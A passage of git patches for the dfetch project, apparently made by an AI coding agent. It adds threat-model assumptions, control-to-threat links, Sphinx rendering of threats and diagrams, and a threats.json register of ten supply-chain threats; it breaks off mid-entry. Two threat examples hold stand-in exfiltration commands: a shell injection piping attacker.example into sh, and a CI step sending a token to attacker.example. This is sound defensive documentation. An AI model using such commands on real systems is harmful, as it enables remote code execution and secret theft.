maintained in ``security/threat_model.py`` and rendered below +from the pytm model. + +.. pytm:: + :assumptions: **8 — Support period and data handling** diff --git a/security/threat_model.py b/security/threat_model.py index 7ef9cfdf1..6343ca3c5 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -101,6 +101,31 @@ "``--require-hashes``, so a compromised PyPI mirror can substitute packages." ), ), + Assumption( + "Manifest under code review", + description=( + "The manifest (``dfetch.yaml``) is under version control and subject to " + "code review. An adversary with write access to the manifest can redirect " + "fetches to attacker-controlled sources; this threat is addressed at the " + "code-review boundary, not within dfetch itself." + ), + ), + Assumption( + "dfetch scope boundary", + description=( + "dfetch is responsible only for its own security posture. The security " + "of fetched third-party source code is the responsibility of the manifest " + "author who selects and pins each dependency." + ), + ), + Assumption( + "No HTTPS enforcement", + description=( + "HTTPS enforcement is the responsibility of the manifest author. dfetch " + "accepts ``http://``, ``svn://``, and other non-TLS scheme URLs as written " + "— it does not upgrade or reject them." + ), + ), ] # ── Trust boundaries ───────────────────────────────────────────────────────── From f6bf2a2061508da3266ca514ea75d03d3310b6ae Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 10:51:44 +0000 Subject: [PATCH 13/28] Add custom threat register with control linkage and diagram rendering MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - security/threats.json: 10 dfetch-specific threats (DFT-01..DFT-10) covering MITM, supply-chain substitution, path traversal, command injection, resource exhaustion, and CI secret exfiltration - security/threat_model.py: wire threats.json via TM.threatsFile; add threats: list[str] to Control dataclass; link each of the 25 controls/gaps to the DFT-xx SIDs they address; add import os - doc/_ext/pytm_directive.py: load threat register from TM._threats instead of raw STRIDE findings; cross-reference threats→controls and controls→threats; capture seq/dfd diagram strings; add :seq: and :dfd: directive options; update _render_threats, _render_controls, _render_gaps, _render_seq, _render_dfd; add sphinx.ext.graphviz support - doc/conf.py: add sphinx.ext.graphviz extension - doc/explanation/security.rst: add Data Flow Diagram, Sequence Diagram, and Identified Threats sections between Data Flows and Controls https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 110 ++++++++++++++++++++++------- doc/conf.py | 1 + doc/explanation/security.rst | 35 ++++++++++ security/threat_model.py | 28 ++++++++ security/threats.json | 132 +++++++++++++++++++++++++++++++++++ 5 files changed, 281 insertions(+), 25 deletions(-) create mode 100644 security/threats.json diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 1ce474796..abd8d27c0 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -84,6 +84,8 @@ class PytmDirective(Directive): "controls": directives.flag, "gaps": directives.flag, "threats": directives.flag, + "seq": directives.flag, + "dfd": directives.flag, } def run(self) -> list[nodes.Node]: @@ -135,6 +137,10 @@ def run(self) -> list[nodes.Node]: sections.append(_render_gaps(data["gaps"])) if "threats" in self.options: sections.append(_render_threats(data["threats"])) + if "seq" in self.options: + sections.append(_render_seq(data.get("seq", ""))) + if "dfd" in self.options: + sections.append(_render_dfd(data.get("dfd", ""))) rst = "\n\n".join(sections) return _parse_rst(rst, self.state, self.content_offset, model_path) @@ -227,18 +233,25 @@ def _load_model(model_path: str, confdir: str) -> dict: ) dataflows.sort(key=lambda d: _sort_key(d["id"])) - # -- STRIDE findings ----------------------------------------------------- + # -- Threat register from custom threats.json ---------------------------- threats: list[dict] = [] - for finding in mod.tm.findings: + for t in getattr(TM, "_threats", []): threats.append( { - "id": finding.threat_id, - "element": finding.element.name, - "description": finding.description, - "severity": str(finding.severity), - "mitigations": (finding.mitigations or "").strip(), + "id": getattr(t, "id", ""), + "description": getattr(t, "description", "") or "", + "details": getattr(t, "details", "") or "", + "likelihood": str(getattr(t, "likelihood", "") or ""), + "severity": str(getattr(t, "severity", "") or ""), + "mitigations": getattr(t, "mitigations", "") or "", + "prerequisites": getattr(t, "prerequisites", "") or "", + "example": getattr(t, "example", "") or "", + "references": getattr(t, "references", "") or "", + "controls": [], # filled in after controls are loaded } ) + sev_order = {"Very High": 0, "High": 1, "Medium": 2, "Low": 3} + threats.sort(key=lambda t: (sev_order.get(t["severity"], 9), t["id"])) # -- Controls and gaps from unified CONTROLS list ------------------------- import dataclasses as _dc @@ -252,6 +265,35 @@ def _load_model(model_path: str, confdir: str) -> dict: controls = [c for c in _all_controls if c.get("status", "implemented") == "implemented"] gaps = list(getattr(mod, "GAPS", [])) + # Cross-reference: threats → controls + threat_controls_map: dict[str, list[str]] = {} + for ctrl in controls + gaps: + for sid in ctrl.get("threats", []): + threat_controls_map.setdefault(sid, []).append(ctrl["id"]) + for t in threats: + t["controls"] = threat_controls_map.get(t["id"], []) + + # -- Sequence diagram and DFD strings ------------------------------------ + import contextlib + import io as _io + + seq_str = "" + dfd_str = "" + try: + buf = _io.StringIO() + with contextlib.redirect_stdout(buf): + result = mod.tm.seq() + seq_str = result if isinstance(result, str) and result.strip() else buf.getvalue() + except Exception: + seq_str = "" + try: + buf = _io.StringIO() + with contextlib.redirect_stdout(buf): + result = mod.tm.dfd() + dfd_str = result if isinstance(result, str) and result.strip() else buf.getvalue() + except Exception: + dfd_str = "" + # -- Actors -------------------------------------------------------------- from pytm import Actor as _Actor # type: ignore[import] @@ -296,6 +338,8 @@ def _load_model(model_path: str, confdir: str) -> dict: "threats": threats, "controls": controls, "gaps": gaps, + "seq": seq_str, + "dfd": dfd_str, } @@ -436,8 +480,8 @@ def _render_controls(controls: list[dict]) -> str: "Add ``Control`` objects with ``status='implemented'`` " "to the ``CONTROLS`` list in the threat model." ) - headers = ["ID", "Control", "Asset(s) protected", "Description"] - widths = [8, 22, 14, 56] + headers = ["ID", "Control", "Asset(s)", "Threat(s)", "Description"] + widths = [6, 20, 12, 12, 50] rows = [] for c in controls: desc = _cell(c.get("description", "")) @@ -449,6 +493,7 @@ def _render_controls(controls: list[dict]) -> str: c.get("id", "—"), c.get("name", "—"), ", ".join(c.get("assets", [])), + ", ".join(c.get("threats", [])), desc, ] ) @@ -462,13 +507,14 @@ def _render_gaps(gaps: list[dict]) -> str: "Add ``Control`` objects with ``status='gap'`` " "to the ``CONTROLS`` list in the threat model." ) - headers = ["ID", "Gap", "Asset(s) affected", "Description"] - widths = [8, 24, 14, 54] + headers = ["ID", "Gap", "Asset(s)", "Threat(s)", "Description"] + widths = [6, 22, 12, 12, 48] rows = [ [ g.get("id", "—"), g.get("name", "—"), ", ".join(g.get("assets", [])), + ", ".join(g.get("threats", [])), _cell(g.get("description", "")), ] for g in gaps @@ -478,29 +524,41 @@ def _render_gaps(gaps: list[dict]) -> str: def _render_threats(threats: list[dict]) -> str: if not threats: - return ( - ".. note::\n\n No STRIDE findings " - "(all threats mitigated or no elements in scope)." - ) - # Group by severity for readability: Very High > High > Medium > Low - sev_order = {"Very High": 0, "High": 1, "Medium": 2, "Low": 3} - sorted_threats = sorted( - threats, key=lambda t: (sev_order.get(t["severity"], 9), t["id"]) - ) - headers = ["Threat ID", "Severity", "Element", "Description"] - widths = [10, 10, 25, 55] + return ".. note::\n\n No threats defined in model." + # Already sorted by severity then ID in _load_model + headers = ["ID", "Severity", "Likelihood", "Description", "Controls"] + widths = [8, 10, 10, 42, 30] rows = [ [ t["id"], t["severity"], - t["element"], + t["likelihood"], _cell(t["description"]), + ", ".join(t.get("controls", [])) or "—", ] - for t in sorted_threats + for t in threats ] return _list_table(headers, rows, widths) +def _render_seq(seq_str: str) -> str: + if not seq_str or not seq_str.strip(): + return ".. note::\n\n No sequence diagram generated by the threat model." + lines = [".. uml::", ""] + for line in seq_str.splitlines(): + lines.append(" " + line if line.strip() else "") + return "\n".join(lines) + + +def _render_dfd(dfd_str: str) -> str: + if not dfd_str or not dfd_str.strip(): + return ".. note::\n\n No data-flow diagram generated by the threat model." + lines = [".. graphviz::", ""] + for line in dfd_str.splitlines(): + lines.append(" " + line if line.strip() else "") + return "\n".join(lines) + + # --------------------------------------------------------------------------- # RST → docutils nodes # --------------------------------------------------------------------------- @@ -539,7 +597,9 @@ def _on_builder_inited(app: Sphinx) -> None: f"{len(data['actors'])} actors, " f"{len(data['assets'])} assets, " f"{len(data['dataflows'])} flows, " - f"{len(data['threats'])} STRIDE findings " + f"{len(data['threats'])} threats, " + f"{len(data['controls'])} controls, " + f"{len(data['gaps'])} gaps " f"from {os.path.basename(model_path)}" ) except Exception as exc: diff --git a/doc/conf.py b/doc/conf.py index 4030efd1d..1df48c37f 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -62,6 +62,7 @@ "colordot", "designguide", "pytm_directive", + "sphinx.ext.graphviz", ] # Path to the pytm threat model; used by the ``.. pytm::`` directive. diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index fa1ee4784..fc686c029 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -230,6 +230,41 @@ table is generated at build time from the pytm model. :dataflows: +Data Flow Diagram +----------------- + +The diagram below is generated at build time from the pytm model using +Graphviz. It shows all trust boundaries, processes, data stores, and +data flows. + +.. pytm:: + :dfd: + + +Sequence Diagram +---------------- + +The diagram below is generated at build time from the pytm model using +PlantUML. It shows the temporal ordering of key interactions across +trust boundaries. + +.. pytm:: + :seq: + + +Identified Threats +------------------ + +The following threats were identified against the dfetch system model. +They are defined in ``security/threats.json`` and evaluated against +pytm elements at build time. The *Controls* column lists implemented +controls (``Cx-xxx``) that directly address each threat; a dash (``—``) +indicates a gap with no current control. + +.. pytm:: + :threats: + + Implemented Security Controls ------------------------------- diff --git a/security/threat_model.py b/security/threat_model.py index 6343ca3c5..a0c855bb3 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -9,6 +9,7 @@ python -m security.threat_model --report # STRIDE findings report """ +import os from dataclasses import dataclass, field from typing import Literal @@ -40,6 +41,7 @@ ), isOrdered=True, mergeResponses=True, + threatsFile=os.path.join(os.path.dirname(__file__), "threats.json"), ) tm.assumptions = [ @@ -683,6 +685,7 @@ class Control: name: str description: str assets: list[str] = field(default_factory=list) + threats: list[str] = field(default_factory=list) status: Literal["implemented", "planned", "gap"] = "implemented" reference: str = "" @@ -710,6 +713,7 @@ def to_pytm(self) -> str: id="C-001", name="Path-traversal prevention", assets=["PA-02", "SA-05"], + threats=["DFT-03"], description=( "``check_no_path_traversal()`` resolves both the candidate path and the " "destination root via ``os.path.realpath`` (symlink-aware, not " @@ -723,6 +727,7 @@ def to_pytm(self) -> str: id="C-002", name="Decompression-bomb protection", assets=["SA-05", "PA-02"], + threats=["DFT-09"], description=( "Archives are rejected if the uncompressed size exceeds 500 MB or the " "member count exceeds 10 000." @@ -733,6 +738,7 @@ def to_pytm(self) -> str: id="C-003", name="Archive symlink validation", assets=["PA-02"], + threats=["DFT-03"], description=( "Absolute and escaping (``..``) symlink targets are rejected for both " "TAR and ZIP. A post-extraction walk validates all symlinks against the " @@ -744,6 +750,7 @@ def to_pytm(self) -> str: id="C-004", name="Archive member type checks", assets=["PA-02", "SA-05"], + threats=["DFT-03"], description=( "TAR and ZIP members of type device file or FIFO are rejected outright." ), @@ -753,6 +760,7 @@ def to_pytm(self) -> str: id="C-005", name="Integrity hash verification", assets=["PA-02", "PA-03"], + threats=["DFT-01", "DFT-02", "DFT-05"], description=( "SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` " "(constant-time comparison, resistant to timing attacks)." @@ -763,6 +771,7 @@ def to_pytm(self) -> str: id="C-006", name="Non-interactive VCS", assets=["SA-02", "EA-01"], + threats=["DFT-06"], description=( "``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; " "``--non-interactive`` for SVN. Credential prompts are suppressed to " @@ -774,6 +783,7 @@ def to_pytm(self) -> str: id="C-007", name="Subprocess safety", assets=["SA-01"], + threats=["DFT-06"], description=( "All external commands invoked with ``shell=False`` and list-form " "arguments — no shell-injection vector." @@ -784,6 +794,7 @@ def to_pytm(self) -> str: id="C-008", name="Manifest input validation", assets=["PA-01"], + threats=["DFT-04", "DFT-08"], description=( "StrictYAML schema with ``SAFE_STR = Regex(r\"^[^\\x00-\\x1F\\x7F-\\x9F]*$\")`` " "rejects control characters in all string fields." @@ -794,6 +805,7 @@ def to_pytm(self) -> str: id="C-009", name="Actions commit-SHA pinning", assets=["SA-06", "EA-04"], + threats=["DFT-07"], description=( "Every third-party GitHub Action is pinned to a full commit SHA, " "preventing tag-mutable supply-chain substitution." @@ -804,6 +816,7 @@ def to_pytm(self) -> str: id="C-010", name="OIDC trusted publishing", assets=["SA-07", "PA-04"], + threats=["DFT-07"], description=( "PyPI publishes via ``pypa/gh-action-pypi-publish`` with " "``id-token: write`` and no stored long-lived API token." @@ -814,6 +827,7 @@ def to_pytm(self) -> str: id="C-011", name="Minimal workflow permissions", assets=["SA-06"], + threats=["DFT-07"], description=( "Each workflow declares only the permissions it requires " "(default ``contents: read``)." @@ -824,6 +838,7 @@ def to_pytm(self) -> str: id="C-012", name="persist-credentials: false", assets=["SA-02", "EA-03"], + threats=["DFT-07"], description=( "All ``actions/checkout`` steps drop the GitHub token from the working " "tree after checkout." @@ -834,6 +849,7 @@ def to_pytm(self) -> str: id="C-013", name="Harden-runner (egress audit)", assets=["SA-02", "EA-04"], + threats=["DFT-07"], description=( "``step-security/harden-runner`` is used in every workflow to audit " "outbound network connections. Policy is ``audit``, not ``block``." @@ -844,6 +860,7 @@ def to_pytm(self) -> str: id="C-014", name="OpenSSF Scorecard", assets=["EA-03", "SA-10"], + threats=["DFT-07", "DFT-10"], description=( "Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning " "covers the full set of OpenSSF Scorecard checks." @@ -854,6 +871,7 @@ def to_pytm(self) -> str: id="C-015", name="CodeQL static analysis", assets=["SA-01", "SA-06"], + threats=["DFT-03", "DFT-06"], description=( "CodeQL scans the Python codebase for security vulnerabilities on " "every push and pull request." @@ -864,6 +882,7 @@ def to_pytm(self) -> str: id="C-016", name="Dependency review", assets=["SA-09"], + threats=["DFT-10"], description=( "``actions/dependency-review-action`` checks for known vulnerabilities " "in newly added dependencies on every pull request." @@ -874,6 +893,7 @@ def to_pytm(self) -> str: id="C-017", name="bandit security linter", assets=["SA-01"], + threats=["DFT-03", "DFT-06"], description=( "``bandit -r dfetch`` runs in CI to detect common Python security issues." ), @@ -884,6 +904,7 @@ def to_pytm(self) -> str: id="C-018", name="Optional integrity hash", assets=["PA-02", "PA-03"], + threats=["DFT-01", "DFT-02"], status="gap", description=( "``integrity.hash`` in the manifest is optional. Archive dependencies " @@ -895,6 +916,7 @@ def to_pytm(self) -> str: id="C-019", name="No integrity mechanism for Git/SVN", assets=["PA-02", "PA-03"], + threats=["DFT-02", "DFT-05"], status="gap", description=( "Git and SVN dependencies carry no equivalent to ``integrity.hash``. " @@ -907,6 +929,7 @@ def to_pytm(self) -> str: id="C-020", name="No patch-file integrity", assets=["SA-04", "PA-02"], + threats=["DFT-08"], status="gap", description=( "Patch files referenced in the manifest carry no integrity hash. A " @@ -917,6 +940,7 @@ def to_pytm(self) -> str: id="C-021", name="No SLSA provenance", assets=["PA-04"], + threats=["DFT-05"], status="gap", description=( "The release pipeline does not generate SLSA provenance attestations or " @@ -928,6 +952,7 @@ def to_pytm(self) -> str: id="C-022", name="No dfetch-self SBOM on PyPI", assets=["PA-04", "PA-05"], + threats=["DFT-02"], status="gap", description=( "The CycloneDX SBOM generated by ``dfetch report`` covers vendored " @@ -939,6 +964,7 @@ def to_pytm(self) -> str: id="C-023", name="Build deps without hash pinning", assets=["SA-09"], + threats=["DFT-10"], status="gap", description=( "``pip install .`` and ``pip install --upgrade pip build`` in CI do not " @@ -950,6 +976,7 @@ def to_pytm(self) -> str: id="C-024", name="``secrets: inherit`` scope", assets=["SA-06", "SA-02"], + threats=["DFT-07"], status="gap", description=( "``ci.yml`` passes all repository secrets to the test and docs workflows " @@ -961,6 +988,7 @@ def to_pytm(self) -> str: id="C-025", name="Harden-runner in audit mode", assets=["EA-04", "SA-06"], + threats=["DFT-07"], status="gap", description=( "``step-security/harden-runner`` is configured with " diff --git a/security/threats.json b/security/threats.json new file mode 100644 index 000000000..a77420c5e --- /dev/null +++ b/security/threats.json @@ -0,0 +1,132 @@ +[ + { + "SID": "DFT-01", + "target": ["Dataflow"], + "description": "MITM on unauthenticated data flow", + "details": "A network-adjacent attacker intercepts an unencrypted (http:// or svn://) data flow and substitutes or reads content in transit. dfetch accepts non-TLS URLs as declared in the manifest without enforcement.", + "Likelihood Of Attack": "Medium", + "severity": "High", + "condition": "target.controls.isEncrypted is False and len(target.protocol) > 0", + "prerequisites": "The manifest declares an http:// or svn:// URL. The attacker has a network-adjacent position (same LAN, BGP hijack, or compromised DNS resolver).", + "mitigations": "Restrict all manifest URLs to HTTPS, svn+https://, or SSH. Add integrity.hash for all archive sources so that even a successful MITM is detected.", + "example": "A CI runner on a shared cloud network fetches an archive over http://. A co-located attacker intercepts the TCP stream and replaces the archive bytes before they reach dfetch.", + "references": "https://capec.mitre.org/data/definitions/94.html, https://cwe.mitre.org/data/definitions/319.html" + }, + { + "SID": "DFT-02", + "target": ["Dataflow"], + "description": "Supply-chain content substitution — no end-to-end integrity", + "details": "An attacker who compromises an upstream repository host, archive server, or CDN delivers malicious source code because no cryptographic content hash is verified end-to-end. Even HTTPS transport only protects against network-layer interception; a server-side compromise is not detected.", + "Likelihood Of Attack": "Medium", + "severity": "High", + "condition": "target.controls.providesIntegrity is False and len(target.protocol) > 0", + "prerequisites": "No integrity.hash is present in the manifest for archive sources, or the dependency is a Git/SVN reference (branch or tag) with no hash equivalent. The attacker controls or has compromised an upstream server or CDN node.", + "mitigations": "Require integrity.hash for all archive dependencies. Use commit-SHA-pinned Git dependencies where possible. Verify artifact signatures or SLSA provenance attestations once available.", + "example": "A maintainer bumps a tarball on a self-hosted server. An attacker who previously compromised the server replaces the tarball with a backdoored version; dfetch downloads and vendors it without detecting the substitution.", + "references": "https://capec.mitre.org/data/definitions/186.html, https://cwe.mitre.org/data/definitions/494.html" + }, + { + "SID": "DFT-03", + "target": ["Process"], + "description": "Path traversal in archive or patch extraction", + "details": "A malicious archive member or patch file uses relative path sequences (../../) or absolute paths to write files outside the intended vendor directory, potentially overwriting project sources, CI configuration, or secrets.", + "Likelihood Of Attack": "Medium", + "severity": "Very High", + "condition": "target.controls.sanitizesInput is False", + "prerequisites": "The archive or patch file is served from an attacker-controlled or compromised upstream source. The extraction process does not resolve and validate destination paths against the project root.", + "mitigations": "Apply check_no_path_traversal() (os.path.realpath-based) to every extracted member and post-extraction symlink. Validate all symlink targets to ensure they remain within the vendor directory. Reject patches whose headers reference paths outside the project root.", + "example": "A tarball contains the member ../../.github/workflows/publish.yml; without path traversal checks this overwrites the CI publish workflow, injecting a secret-exfiltration step.", + "references": "https://capec.mitre.org/data/definitions/139.html, https://cwe.mitre.org/data/definitions/22.html, CVE-2001-1267" + }, + { + "SID": "DFT-04", + "target": ["Datastore"], + "description": "Sensitive asset write without content integrity assurance", + "details": "An element that stores sensitive data and accepts write operations (hasWriteAccess) does not validate the content being written. An attacker with write access can inject malicious content that is consumed by downstream processes without detection.", + "Likelihood Of Attack": "Low", + "severity": "High", + "condition": "target.storesSensitiveData is True and target.hasWriteAccess is True and target.controls.validatesInput is False", + "prerequisites": "The attacker has write access to the data store (either through a compromised upstream or local filesystem access). The consuming process trusts the datastore content without re-validation.", + "mitigations": "Validate all inputs on read (StrictYAML schema, SAFE_STR regex). Consider integrity.hash for archive sources to detect substitution at the datastore level. Restrict write access to trusted sources only.", + "example": "Fetched source code (PA-02) is written to the vendor directory from an unverified HTTP source. Because integrity.hash is absent, the injected malicious source passes undetected into the consumer's build.", + "references": "https://capec.mitre.org/data/definitions/438.html, https://cwe.mitre.org/data/definitions/345.html" + }, + { + "SID": "DFT-05", + "target": ["Dataflow"], + "description": "Mutable VCS reference — silent content replacement", + "details": "A branch- or tag-pinned Git dependency is a mutable reference. An upstream maintainer or attacker who can force-push silently changes the content fetched by dfetch without any manifest diff, hash mismatch, or CI alert.", + "Likelihood Of Attack": "Medium", + "severity": "Medium", + "condition": "target.controls.isEncrypted is True and target.controls.providesIntegrity is False and len(target.protocol) > 0", + "prerequisites": "The manifest pins a Git dependency to a branch or tag (not a full commit SHA). The upstream repository is writable by an attacker, or the upstream organisation allows force-pushes to the tracked ref.", + "mitigations": "Pin all Git dependencies to a full commit SHA in the manifest. Enable integrity.hash for archive sources. Periodically audit upstream refs against previously recorded commit SHAs.", + "example": "A dependency is pinned to a release tag v2.1. The upstream maintainer's account is compromised; the attacker force-pushes a backdoored commit to that tag. The next dfetch update silently vendors the malicious code.", + "references": "https://capec.mitre.org/data/definitions/690.html, https://cwe.mitre.org/data/definitions/829.html" + }, + { + "SID": "DFT-06", + "target": ["Process"], + "description": "Subprocess command injection", + "details": "If external commands are invoked via a shell interpreter or with unsanitised user-controlled strings, an attacker who can influence manifest fields or CLI arguments can inject arbitrary shell commands executed with the privileges of the dfetch process.", + "Likelihood Of Attack": "Low", + "severity": "High", + "condition": "target.controls.usesParameterizedInput is False", + "prerequisites": "A process invokes external commands using shell=True or string interpolation without strict sanitisation of inputs derived from the manifest or CLI.", + "mitigations": "Always invoke external programs with shell=False and list-form arguments (subprocess.run([...])). Validate all manifest string fields with StrictYAML's SAFE_STR regex before use as subprocess arguments.", + "example": "A manifest's url field contains '; curl attacker.example/exfil | sh'. If dfetch passes the URL to a shell command without quoting, the injection executes.", + "references": "https://capec.mitre.org/data/definitions/88.html, https://cwe.mitre.org/data/definitions/78.html" + }, + { + "SID": "DFT-07", + "target": ["Process"], + "description": "CI workflow secret exfiltration via compromised step", + "details": "A compromised or malicious step in a GitHub Actions workflow (injected via a PR, a poisoned third-party Action, or a compromised build dependency) reads secrets from the runner environment and exfiltrates them over an outbound network channel. Egress is currently audited but not blocked.", + "Likelihood Of Attack": "Low", + "severity": "High", + "condition": "target.controls.isHardened is False", + "prerequisites": "A workflow step can run attacker-controlled code (e.g. via a malicious PR that modifies workflows, or a compromised Action dependency). Egress policy is set to audit rather than block.", + "mitigations": "Set harden-runner egress policy to block with an allowlist of required hosts. Pin all third-party Actions to full commit SHAs. Restrict secrets: inherit scope. Use environments with required reviewers for publish workflows.", + "example": "A PR modifies .github/workflows/ci.yml to add a step that runs curl -s $GITHUB_TOKEN | attacker.example/collect. Because egress is only audited, the exfiltration succeeds.", + "references": "https://capec.mitre.org/data/definitions/560.html, https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" + }, + { + "SID": "DFT-08", + "target": ["Datastore"], + "description": "Tampered local artifact (metadata, patch, workflow, report)", + "details": "An attacker with access to the local repository (or a compromised CI step) tampers with a non-primary artifact — dependency metadata (.dfetch_data.yaml), patch files, workflow YAML, or security reports — to suppress security checks or inject malicious behaviour into subsequent pipeline runs.", + "Likelihood Of Attack": "Low", + "severity": "Medium", + "condition": "target.controls.validatesInput is False and target.hasWriteAccess is True and target.storesSensitiveData is False", + "prerequisites": "The attacker has write access to the local repository or the CI runner's working directory. Downstream processes consume the artifact without re-validation.", + "mitigations": "Integrity-verify patch files (add hash support to manifest schema). Treat .dfetch_data.yaml as an append-only audit log where feasible. Protect workflow YAML via branch-protection rules and required reviews.", + "example": "An attacker modifies .dfetch_data.yaml to record a known-good hash for a compromised dependency, causing dfetch check to report no updates and suppressing the alert.", + "references": "https://capec.mitre.org/data/definitions/268.html, https://cwe.mitre.org/data/definitions/494.html" + }, + { + "SID": "DFT-09", + "target": ["Process"], + "description": "Decompression bomb / resource exhaustion", + "details": "A specially crafted archive (zip bomb, tar bomb) expands to an extremely large or deeply nested file tree, causing the extracting process to exhaust disk, memory, or CPU resources. Without size and member-count limits the process hangs or crashes, potentially destabilising the CI runner.", + "Likelihood Of Attack": "Low", + "severity": "Medium", + "condition": "target.controls.checksInputBounds is False", + "prerequisites": "The archive is fetched from an attacker-controlled or compromised source. The extracting process applies no upper bound on uncompressed size or member count.", + "mitigations": "Reject archives whose uncompressed size exceeds 500 MB or whose member count exceeds 10 000 before beginning extraction. Apply these limits early in the streaming extraction loop.", + "example": "A 42 KB zip bomb (42.zip) expands to 4.5 PB of nested zero-byte files; without a member-count limit the extraction loop runs indefinitely.", + "references": "https://capec.mitre.org/data/definitions/130.html, https://cwe.mitre.org/data/definitions/400.html" + }, + { + "SID": "DFT-10", + "target": ["Datastore"], + "description": "Build / development dependency substitution", + "details": "dfetch's own build and development dependencies (installed via pip install, gem install, or choco install) are fetched without cryptographic hash verification. A compromised PyPI mirror, BGP-hijacked registry, or DNS-spoofed response can substitute a malicious package that runs arbitrary code in the CI/CD pipeline with access to release secrets.", + "Likelihood Of Attack": "Low", + "severity": "High", + "condition": "target.controls.providesIntegrity is False and target.hasWriteAccess is False", + "prerequisites": "A package registry (PyPI, RubyGems, Chocolatey) or its DNS resolution is compromised. The CI install step does not use --require-hashes or equivalent hash-pinning mechanism.", + "mitigations": "Pin all build and development dependencies with --require-hashes in a requirements file. Use a private registry mirror with content verification. Apply similar hash-pinning to gem install fpm and choco install commands.", + "example": "A BGP hijack redirects pip traffic to a malicious mirror that serves a backdoored setuptools. The backdoor runs at install time, exfiltrating the PyPI OIDC publish token before the package build begins.", + "references": "https://capec.mitre.org/data/definitions/538.html, https://cwe.mitre.org/data/definitions/494.html" + } +] From cd666d03ed73de4fdcd68361b2acb56076a9af12 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 11:02:23 +0000 Subject: [PATCH 14/28] =?UTF-8?q?Make=20threat=20descriptions=20generic=20?= =?UTF-8?q?=E2=80=94=20remove=20tool-specific=20language?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace dfetch-specific wording in all 10 threat entries with vulnerability-pattern descriptions that apply to any dependency manager or build system using CI/CD pipelines and VCS references. Key changes per threat: - DFT-01: "MITM on unauthenticated data flow" → "Unencrypted transport interception (MITM)"; details/mitigations reference generic 'build tool' - DFT-02: description simplified; example refers to a generic vendor server - DFT-04: wording refers to any sensitive datastore, not fetched source - DFT-06: "subprocess command injection" → "Command injection via unsanitised subprocess input" - DFT-07: "CI workflow secret exfiltration" → "CI/CD secret exfiltration via supply-chain attack on build environment"; example uses $CI_TOKEN - DFT-08: "tampered local artifact" → "Tampered build artifact suppresses security checks"; example refers to generic metadata cache - DFT-10: "dfetch build/dev dependency" → generic registry substitution Conditions (pytm eval expressions) and SIDs are unchanged. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- security/threats.json | 98 +++++++++++++++++++++---------------------- 1 file changed, 49 insertions(+), 49 deletions(-) diff --git a/security/threats.json b/security/threats.json index a77420c5e..3e876b116 100644 --- a/security/threats.json +++ b/security/threats.json @@ -2,131 +2,131 @@ { "SID": "DFT-01", "target": ["Dataflow"], - "description": "MITM on unauthenticated data flow", - "details": "A network-adjacent attacker intercepts an unencrypted (http:// or svn://) data flow and substitutes or reads content in transit. dfetch accepts non-TLS URLs as declared in the manifest without enforcement.", + "description": "Unencrypted transport interception (MITM)", + "details": "A network-adjacent attacker intercepts an unencrypted (HTTP or plaintext VCS protocol) data flow and substitutes or reads content in transit. Any tool that accepts non-TLS URLs as declared in a manifest or configuration without enforcement is vulnerable.", "Likelihood Of Attack": "Medium", "severity": "High", "condition": "target.controls.isEncrypted is False and len(target.protocol) > 0", - "prerequisites": "The manifest declares an http:// or svn:// URL. The attacker has a network-adjacent position (same LAN, BGP hijack, or compromised DNS resolver).", - "mitigations": "Restrict all manifest URLs to HTTPS, svn+https://, or SSH. Add integrity.hash for all archive sources so that even a successful MITM is detected.", - "example": "A CI runner on a shared cloud network fetches an archive over http://. A co-located attacker intercepts the TCP stream and replaces the archive bytes before they reach dfetch.", + "prerequisites": "A manifest or configuration declares an http:// or other plaintext-protocol URL. The attacker has a network-adjacent position (same LAN, BGP hijack, or compromised DNS resolver).", + "mitigations": "Restrict all configured URLs to HTTPS, svn+https://, or SSH. Enforce TLS at the schema-validation layer so plaintext URLs are rejected at parse time. Add integrity hashes for all archive sources so that even a successful MITM is detected.", + "example": "A CI runner on a shared cloud network fetches a dependency archive over http://. A co-located attacker intercepts the TCP stream and replaces the archive bytes before they reach the build tool.", "references": "https://capec.mitre.org/data/definitions/94.html, https://cwe.mitre.org/data/definitions/319.html" }, { "SID": "DFT-02", "target": ["Dataflow"], - "description": "Supply-chain content substitution — no end-to-end integrity", - "details": "An attacker who compromises an upstream repository host, archive server, or CDN delivers malicious source code because no cryptographic content hash is verified end-to-end. Even HTTPS transport only protects against network-layer interception; a server-side compromise is not detected.", + "description": "Supply-chain content substitution via server-side compromise", + "details": "An attacker who compromises an upstream repository host, archive server, or CDN delivers malicious source code because no cryptographic content hash is verified end-to-end. HTTPS transport only protects against network-layer interception; a server-side compromise is undetectable without out-of-band content verification.", "Likelihood Of Attack": "Medium", "severity": "High", "condition": "target.controls.providesIntegrity is False and len(target.protocol) > 0", - "prerequisites": "No integrity.hash is present in the manifest for archive sources, or the dependency is a Git/SVN reference (branch or tag) with no hash equivalent. The attacker controls or has compromised an upstream server or CDN node.", - "mitigations": "Require integrity.hash for all archive dependencies. Use commit-SHA-pinned Git dependencies where possible. Verify artifact signatures or SLSA provenance attestations once available.", - "example": "A maintainer bumps a tarball on a self-hosted server. An attacker who previously compromised the server replaces the tarball with a backdoored version; dfetch downloads and vendors it without detecting the substitution.", + "prerequisites": "No integrity hash is present in the manifest for archive sources, or the dependency is a VCS reference (branch or tag) with no hash equivalent. The attacker controls or has compromised an upstream server, registry, or CDN node.", + "mitigations": "Require cryptographic integrity hashes for all archive dependencies. Use commit-SHA-pinned VCS dependencies where possible. Verify artifact signatures or SLSA provenance attestations once available.", + "example": "A project vendor hosts a 